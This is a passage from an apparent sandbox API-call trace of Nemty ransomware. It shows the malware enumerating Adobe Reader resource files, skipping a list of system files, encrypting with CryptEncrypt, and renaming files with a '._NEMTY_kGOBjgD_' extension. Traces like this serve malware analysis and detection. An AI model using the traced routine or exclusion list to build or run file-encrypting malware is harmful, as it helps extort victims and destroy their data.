(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-V", lpUsedDefaultChar=0x0) returned 9 [0204.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0204.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0204.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0204.224] Sleep (dwMilliseconds=0x5) [0204.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d611630, dwHighDateTime=0x1d561e8)) [0204.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d611630, dwHighDateTime=0x1d561e8)) [0204.260] GetLastError () returned 0x5 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.260] GetLastError () returned 0x5 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.260] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.260] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.260] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0204.260] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="5YihxHhUeR5zZpC8ajYalicUTQ3T5axs8T9wwA1Rcz9c5d0cjsGdbRirrARRyCSx\r\nJJfTqq0ec5/Vleig928IWRrWI2Y4FygVpUAy2/Bf84QfGro2ITVJSzdtho1entEY\r\n+j14jBTvqX8QB0Io7fO6gLoaiQgDJSmjdRHl3scWTa57QFM+epeGvE/frVY5J8Qy\r\nz+3buxP8ZzggBreE4yvyz2KX+7NcfuxveagVrztgjt24RGMmEv/+qenNGPQFHTVY\r\n0mLQhLA2GklnnBePi5NsLRKeL62cs0zDebbefkAh5MAywyeaqTdbyW8SoSk+RHbz\r\nPR6P7BG4bQlZrcRmTneheg==\r\n", pcchString=0x653e91c) returned 1 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0204.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0204.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0204.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.261] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.467] CloseHandle (hObject=0xffffffff) returned 0 [0204.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0204.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0204.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.468] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v._nemty_kgobjgd_")) returned 0 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0204.468] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-H", cAlternateFileName="")) returned 1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2=".") returned 1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="..") returned 1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="...") returned 1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="windows") returned -1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="rsa") returned -1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="NTDETECT.COM") returned -1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="ntldr") returned -1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="MSDOS.SYS") returned -1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="IO.SYS") returned -1 [0204.468] lstrcmpiW (lpString1="EUC-H", lpString2="boot.ini") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="boot.ini") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="ntuser.dat") returned -1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="desktop.ini") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="CONFIG.SYS") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="RECYCLER") returned -1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="bootmgr") returned 1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="programdata") returned -1 [0204.469] lstrcmpiW (lpString1="EUC-H", lpString2="appdata") returned 1 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-H", lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-H", lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-H", lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-H", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-H", lpUsedDefaultChar=0x0) returned 5 [0204.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0204.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0204.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0204.469] Sleep (dwMilliseconds=0x5) [0204.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d84cad0, dwHighDateTime=0x1d561e8)) [0204.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d84cad0, dwHighDateTime=0x1d561e8)) [0204.483] GetLastError () returned 0x5 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.483] GetLastError () returned 0x5 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.483] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0204.483] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="3hWSgbjjl8CbQGWQ6w5Z9StE/mi0c7kYCv+HI4p29j+u97UV1tMdsFHDR4vzT+h7\r\nI1NSNhWVBDsNhJ2q/8GBtgR1TVasDmSJmoexpX6JNsnGmQGvOcfVkxusMr/AqR/c\r\nZetLlmZVxekw5zVUqkckojdpSObVpuYbvmvcw2BBjD9kb75R+Wz5xX0STxkWRbvB\r\nN1uuplpmWIoteV7iW0IYZYC0BDeH8vtu0uKES+EjyhN51fw00s4Kaih2lm9bLAAp\r\nBagV9+QiamOkemXvCEf/C0/J5u537SMPNZHupHMT7JGFKL7in5OY8ItF0KCJE8Dt\r\n9QFicWk7QUprPCdBRi/Jjg==\r\n", pcchString=0x653e91c) returned 1 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0204.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0204.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0204.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 